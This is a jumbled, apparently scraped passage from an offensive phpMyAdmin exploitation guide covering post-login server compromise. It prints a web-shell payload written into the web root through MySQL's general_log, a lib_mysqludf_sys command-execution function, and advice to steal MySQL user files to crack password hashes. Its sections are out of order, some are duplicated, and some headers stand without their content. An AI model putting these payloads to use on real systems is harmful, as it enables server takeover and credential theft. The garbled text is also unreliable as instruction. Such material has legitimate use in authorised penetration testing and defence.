$cfg['Servers'][$i]['user'] = 'dbuser'; $cfg['Servers'][$i]['password'] = 'Sup3rS3cr3t'; If you manage to read system files, grab /var/lib/mysql/mysql/user.MYD or user.MYI to crack MySQL password hashes (pre-8.0 uses mysql_native_password ). Part 3: Post-Login Exploitation — The Holy Grail Once inside phpMyAdmin, here’s how you turn database access into server compromise. 1. SQL to Write a Web Shell (INTO OUTFILE) If the database user has FILE privileges, you can write a PHP shell directly to the web root.
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('whoami > /tmp/test.txt'); Check your current privileges: phpmyadmin hacktricks
Introduction phpMyAdmin is the most popular database management tool on the planet. Written in PHP, it provides a web-based interface to manage MySQL and MariaDB servers. While it is a godsend for developers, it is a prime target for attackers. If an adversary gains access to phpMyAdmin, the game is over — they can dump credentials, escalate privileges, and even gain remote code execution (RCE) on the host server. SQL to Write a Web Shell (INTO OUTFILE)
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT '<?php system($_GET["cmd"]); ?>'; SET GLOBAL general_log = 'OFF'; For MySQL versions < 5.1 or with plugin directory writable, compile a shared library and create a custom function to run commands. While it is a godsend for developers, it